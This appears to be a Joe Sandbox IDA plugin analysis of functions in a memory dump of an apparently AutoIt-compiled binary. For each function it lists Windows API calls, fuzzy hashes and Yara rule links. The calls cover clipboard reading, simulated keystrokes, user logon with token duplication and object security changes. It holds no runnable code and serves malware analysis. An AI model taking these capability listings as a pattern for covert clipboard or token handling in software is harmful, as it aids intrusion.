Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: a072274cc2ea7d6427b95bdc96dd1e0af2ac542959a727bdaccef801d8f5b275
Instruction ID: ecbb31b6fc401b347270927eff21823fce9818a46ef609d3ef04e35a3d130a8c
Opcode Fuzzy Hash: a072274cc2ea7d6427b95bdc96dd1e0af2ac542959a727bdaccef801d8f5b275
Instruction Fuzzy Hash: 79E04F36350116AAC714EB30EC80AFA735CEF543D5B10D53AAC1AD2100DB30999587A0

Function 009E2DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 009E2DC4

Part of subcall function 009E6B57: _wcslen.LIBCMT ref: 009E6B6A

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 7b925d09111b2b99da6ae0562c715bffc29de99c483e1b01d506c35d46bc3418
Instruction ID: 0940a82833cdae0d3588b3d0855582b03450897427f93910c69d50ebae208013
Opcode Fuzzy Hash: 7b925d09111b2b99da6ae0562c715bffc29de99c483e1b01d506c35d46bc3418
Instruction Fuzzy Hash: 1EE0CD726041246BC711E2989C05FDA77DDDFC87D0F044075FD09D7258D960EDC08590

Function 009E2B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 009E3837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 009E3908

Part of subcall function 009ED730: GetInputState.USER32 ref: 009ED807

SetCurrentDirectoryW.KERNEL32(?), ref: 009E2B6B

Part of subcall function 009E30F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 009E314E

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: 6de8daec4ce86b998cc009c62428a7477e522301a61cbc31acdf02e155ace6ca
Instruction ID: b4eb9fdab7cf1751a26890dd990e86d14438f13d46f1f8a0bc1d69d78b1b0391
Opcode Fuzzy Hash: 6de8daec4ce86b998cc009c62428a7477e522301a61cbc31acdf02e155ace6ca
Instruction Fuzzy Hash: 8CE026613002C403C606BB72E82A6ADB34D9BD1311F80453EF046831A3CE218D864311

Function 00A43D03 Relevance: 1.5, APIs: 1, Instructions: 18windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00A43D18

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSendTimeout
String ID:
API String ID: 1599653421-0
Opcode ID: 08046b341b244acf830f1da205cab9d7ca5119bdffb8648d428a77891f10a748
Instruction ID: dfb76d34acf3e0e265b20ad4ab4fc49c735e931a4658189f41e5df039555efa5
Opcode Fuzzy Hash: 08046b341b244acf830f1da205cab9d7ca5119bdffb8648d428a77891f10a748
Instruction Fuzzy Hash: F2D08CF06A03087EFB0083B18C0BEBB339CC316E91F008BA87E02D64C1D9A0DE090130

Function 00A2039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00A20704,?,?,00000000,?,00A20704,00000000,0000000C), ref: 00A203B7

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fd889a55b66bef94c688ce1d16fdb901aaab315483cf1f440f8b4a9acacd0896
Instruction ID: 7cbc23ea14ff399b45113ad0bd5b2892167045e2cec1dd238deeffe012f18502
Opcode Fuzzy Hash: fd889a55b66bef94c688ce1d16fdb901aaab315483cf1f440f8b4a9acacd0896
Instruction Fuzzy Hash: 43D06C3204010DBBDF028F84DD06EDA3BAAFB48714F018150BE1856020C732E862AB90

Function 009E1CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 009E1CBC

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: a581189b335480f76d09fce887ba96f0148c717f5e6d972b346d509cd8c84bd0
Instruction ID: 78f0ecbaac307919bc0ef3afbde8fa8de3da2a98c4693c9d69a6f68981de5ff9
Opcode Fuzzy Hash: a581189b335480f76d09fce887ba96f0148c717f5e6d972b346d509cd8c84bd0
Instruction Fuzzy Hash: D0C092362C0304AFF224CBC0BC5EF1077A4A348B14F488202F60DA95F3D3A22862EB50

Non-executed Functions

Function 00A79576 Relevance: 72.4, APIs: 39, Strings: 2, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 009F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 009F9BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00A7961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00A7965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00A7969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00A796C9
SendMessageW.USER32 ref: 00A796F2
GetKeyState.USER32(00000011), ref: 00A7978B
GetKeyState.USER32(00000009), ref: 00A79798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00A797AE
GetKeyState.USER32(00000010), ref: 00A797B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00A797E9
SendMessageW.USER32 ref: 00A79810
SendMessageW.USER32(?,00001030,?,00A77E95), ref: 00A79918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00A7992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00A79941
SetCapture.USER32(?), ref: 00A7994A
ClientToScreen.USER32(?,?), ref: 00A799AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00A799BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00A799D6
ReleaseCapture.USER32 ref: 00A799E1
GetCursorPos.USER32(?), ref: 00A79A19
ScreenToClient.USER32(?,?), ref: 00A79A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 00A79A80
SendMessageW.USER32 ref: 00A79AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00A79AEB
SendMessageW.USER32 ref: 00A79B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00A79B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00A79B4A
GetCursorPos.USER32(?), ref: 00A79B68
ScreenToClient.USER32(?,?), ref: 00A79B75
GetParent.USER32(?), ref: 00A79B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 00A79BFA
SendMessageW.USER32 ref: 00A79C2B
ClientToScreen.USER32(?,?), ref: 00A79C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00A79CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00A79CDE
SendMessageW.USER32 ref: 00A79D01
ClientToScreen.USER32(?,?), ref: 00A79D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00A79D82

Part of subcall function 009F9944: GetWindowLongW.USER32(?,000000EB), ref: 009F9952

GetWindowLongW.USER32(?,000000F0), ref: 00A79E05

Strings

@GUI_DRAGID, xrefs: 00A7997D
F, xrefs: 00A79D07

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F
API String ID: 3429851547-4164748364
Opcode ID: 5d851710a3c85d5d82156ab46d693c77d5ebbfd727e947f92d47357ebc4c0f1f
Instruction ID: 5af9dd779329d53c7d074c252e4705747d40cb7a3a5243b0e8e3fcfa2a4dfb4b
Opcode Fuzzy Hash: 5d851710a3c85d5d82156ab46d693c77d5ebbfd727e947f92d47357ebc4c0f1f
Instruction Fuzzy Hash: 61427A74204241AFDB25CF68CC94AABBBE5FF89320F14C61EF69D872A1D731A851CB51

Function 009FF98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 009FF998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00A3F474
IsIconic.USER32(00000000), ref: 00A3F47D
ShowWindow.USER32(00000000,00000009), ref: 00A3F48A
SetForegroundWindow.USER32(00000000), ref: 00A3F494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00A3F4AA
GetCurrentThreadId.KERNEL32 ref: 00A3F4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00A3F4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 00A3F4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 00A3F4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 00A3F4DE
SetForegroundWindow.USER32(00000000), ref: 00A3F4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 00A3F4F6
keybd_event.USER32(00000012,00000000), ref: 00A3F501
MapVirtualKeyW.USER32(00000012,00000000), ref: 00A3F50B
keybd_event.USER32(00000012,00000000), ref: 00A3F510
MapVirtualKeyW.USER32(00000012,00000000), ref: 00A3F519
keybd_event.USER32(00000012,00000000), ref: 00A3F51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 00A3F528
keybd_event.USER32(00000012,00000000), ref: 00A3F52D
SetForegroundWindow.USER32(00000000), ref: 00A3F530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 00A3F557

Strings

Shell_TrayWnd, xrefs: 00A3F46F

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: c7f47a8ff5e1639a42d5e96c9728f976b59fa0866e0755fe83ac589b2d68683f
Instruction ID: 8e57ef2f3caf512417a71a1310b92cdee92cf620d6822841b2774f84803ecd93
Opcode Fuzzy Hash: c7f47a8ff5e1639a42d5e96c9728f976b59fa0866e0755fe83ac589b2d68683f
Instruction Fuzzy Hash: C4316371E90218BFEB20ABF55C4AFBF7E6CEB44B60F104029F604EA1D1C6B15D41AA60

Function 00A41201 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 00A416C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00A4170D
Part of subcall function 00A416C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00A4173A
Part of subcall function 00A416C3: GetLastError.KERNEL32 ref: 00A4174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00A41286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 00A412A8
CloseHandle.KERNEL32(?), ref: 00A412B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00A412D1
GetProcessWindowStation.USER32 ref: 00A412EA
SetProcessWindowStation.USER32(00000000), ref: 00A412F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00A41310

Part of subcall function 00A410BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00A411FC), ref: 00A410D4
Part of subcall function 00A410BF: CloseHandle.KERNEL32(?,?,00A411FC), ref: 00A410E9

Strings

, xrefs: 00A4125A
winsta0, xrefs: 00A412CC
default, xrefs: 00A4130B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0
API String ID: 22674027-1027155976
Opcode ID: 7e756bb38a953d972631ae054720686eaa11882a034e8f44680dab8e01472d2b
Instruction ID: 2ac8c0db3b2ce438de5c00b3e9fccffbef92d47b9f2e3f6ab0a671020579d828
Opcode Fuzzy Hash: 7e756bb38a953d972631ae054720686eaa11882a034e8f44680dab8e01472d2b
Instruction Fuzzy Hash: F981BCB5A00209AFDF21DFA4DD49FEE7BB9EF84704F148129FA15B61A0D7309985CB60

Function 00A40B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A410F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00A41114
Part of subcall function 00A410F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00A40B9B,?,?,?), ref: 00A41120
Part of subcall function 00A410F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00A40B9B,?,?,?), ref: 00A4112F
Part of subcall function 00A410F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00A40B9B,?,?,?), ref: 00A41136
Part of subcall function 00A410F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00A4114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00A40BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00A40C00
GetLengthSid.ADVAPI32(?), ref: 00A40C17
GetAce.ADVAPI32(?,00000000,?), ref: 00A40C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00A40C6D
GetLengthSid.ADVAPI32(?), ref: 00A40C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00A40C8C
HeapAlloc.KERNEL32(00000000), ref: 00A40C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00A40CB4
CopySid.ADVAPI32(00000000), ref: 00A40CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00A40CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00A40D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00A40D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00A40D45
HeapFree.KERNEL32(00000000), ref: 00A40D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00A40D55
HeapFree.KERNEL32(00000000), ref: 00A40D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00A40D65
HeapFree.KERNEL32(00000000), ref: 00A40D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 00A40D78
HeapFree.KERNEL32(00000000), ref: 00A40D7F

Part of subcall function 00A41193: GetProcessHeap.KERNEL32(00000008,00A40BB1,?,00000000,?,00A40BB1,?), ref: 00A411A1
Part of subcall function 00A41193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00A40BB1,?), ref: 00A411A8
Part of subcall function 00A41193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00A40BB1,?), ref: 00A411B7

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: cbf47c05ec6054c60f329a4833995cc8c15731b66e73eb3a9af95e749bd9f830
Instruction ID: 2db4d159e8b9c5dfd0d7e3aad76b1adfc2b3f1b042fab046d3673fe921ca38ff
Opcode Fuzzy Hash: cbf47c05ec6054c60f329a4833995cc8c15731b66e73eb3a9af95e749bd9f830
Instruction Fuzzy Hash: 33717075900219EBDF10DFE4DC44FAEBBB8BF44310F048629EA14A6151D771A946DBA0

Function 00A5EAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00A7CC08), ref: 00A5EB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 00A5EB37
GetClipboardData.USER32(0000000D), ref: 00A5EB43
CloseClipboard.USER32 ref: 00A5EB4F
GlobalLock.KERNEL32(00000000), ref: 00A5EB87
CloseClipboard.USER32 ref: 00A5EB91
GlobalUnlock.KERNEL32(00000000,00000000), ref: 00A5EBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 00A5EBC9
GetClipboardData.USER32(00000001), ref: 00A5EBD1
GlobalLock.KERNEL32(00000000), ref: 00A5EBE2
GlobalUnlock.KERNEL32(00000000,?), ref: 00A5EC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 00A5EC38
GetClipboardData.USER32(0000000F), ref: 00A5EC44
GlobalLock.KERNEL32(00000000), ref: 00A5EC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 00A5EC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00A5EC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00A5ECD2
GlobalUnlock.KERNEL32(00000000,?,?), ref: 00A5ECF3
CountClipboardFormats.USER32 ref: 00A5ED14
CloseClipboard.USER32 ref: 00A5ED59

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: e7d06ad3cb4d5b7c8212dae5c2273046e82c9ca4ac84e3221fdc4f33246f855b
Instruction ID: f18f04349cb3d0c714ec949635ec0a8397d3f196b39e13cd67aa2754ed1ca3c8
Opcode Fuzzy Hash: e7d06ad3cb4d5b7c8212dae5c2273046e82c9ca4ac84e3221fdc4f33246f855b
Instruction Fuzzy Hash: FE61E135204241AFD305EF60DC88F6A77B4BF84715F14851DF85A872A2CB30DE8ACBA2

Function 00A5698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00A569BE
FindClose.KERNEL32(00000000), ref: 00A56A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00A56A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00A56A75

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00A56AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00A56ADF

Strings

%02d, xrefs: 00A56C00, 00A56C0A, 00A56C5A, 00A56CAA, 00A56CFA, 00A56D4A
%4d, xrefs: 00A56BB1
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00A56B32
%03d, xrefs: 00A56DA2
%4d%02d%02d%02d%02d%02d, xrefs: 00A56B6A

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: b514b2f18a17cc171cfc7ebcfad0883c240c9305153aecdea386c5f83285be2b
Instruction ID: 280a7ec8d67cb377596c170a03f3069e1f73be3b538b062a8ee47142aef01186
Opcode Fuzzy Hash: b514b2f18a17cc171cfc7ebcfad0883c240c9305153aecdea386c5f83285be2b
Instruction Fuzzy Hash: FCD16072508340AEC711EBA1D891EABB7ECBF98705F44491DF989C7191EB34DE48CB62

Function 00A59642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00A59663
GetFileAttributesW.KERNEL32(?), ref: 00A596A1
SetFileAttributesW.KERNEL32(?,?), ref: 00A596BB
FindNextFileW.KERNEL32(00000000,?), ref: 00A596D3
FindClose.KERNEL32(00000000), ref: 00A596DE
FindFirstFileW.KERNEL32(*.*,?), ref: 00A596FA
SetCurrentDirectoryW.KERNEL32(?), ref: 00A5974A
SetCurrentDirectoryW.KERNEL32(00AA6B7C), ref: 00A59768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00A59772
FindClose.KERNEL32(00000000), ref: 00A5977F
FindClose.KERNEL32(00000000), ref: 00A5978F

Strings

*.*, xrefs: 00A596F5

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 93c3771160563cee1eeb4d341eeafe529c7b10d7bc194e00b374a1c1e0372055
Instruction ID: 6cb2550f6f3eb7a0b04db0d8f0e6a73de3d26b593e8a53797443c50d7bdef71c
Opcode Fuzzy Hash: 93c3771160563cee1eeb4d341eeafe529c7b10d7bc194e00b374a1c1e0372055
Instruction Fuzzy Hash: 8B31C532541619BEDB14EFF4DC48ADF77ACBF09321F14855AF809E6091EB30D9898E60

Function 00A5979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00A597BE
FindNextFileW.KERNEL32(00000000,?), ref: 00A59819
FindClose.KERNEL32(00000000), ref: 00A59824
FindFirstFileW.KERNEL32(*.*,?), ref: 00A59840
SetCurrentDirectoryW.KERNEL32(?), ref: 00A59890
SetCurrentDirectoryW.KERNEL32(00AA6B7C), ref: 00A598AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00A598B8
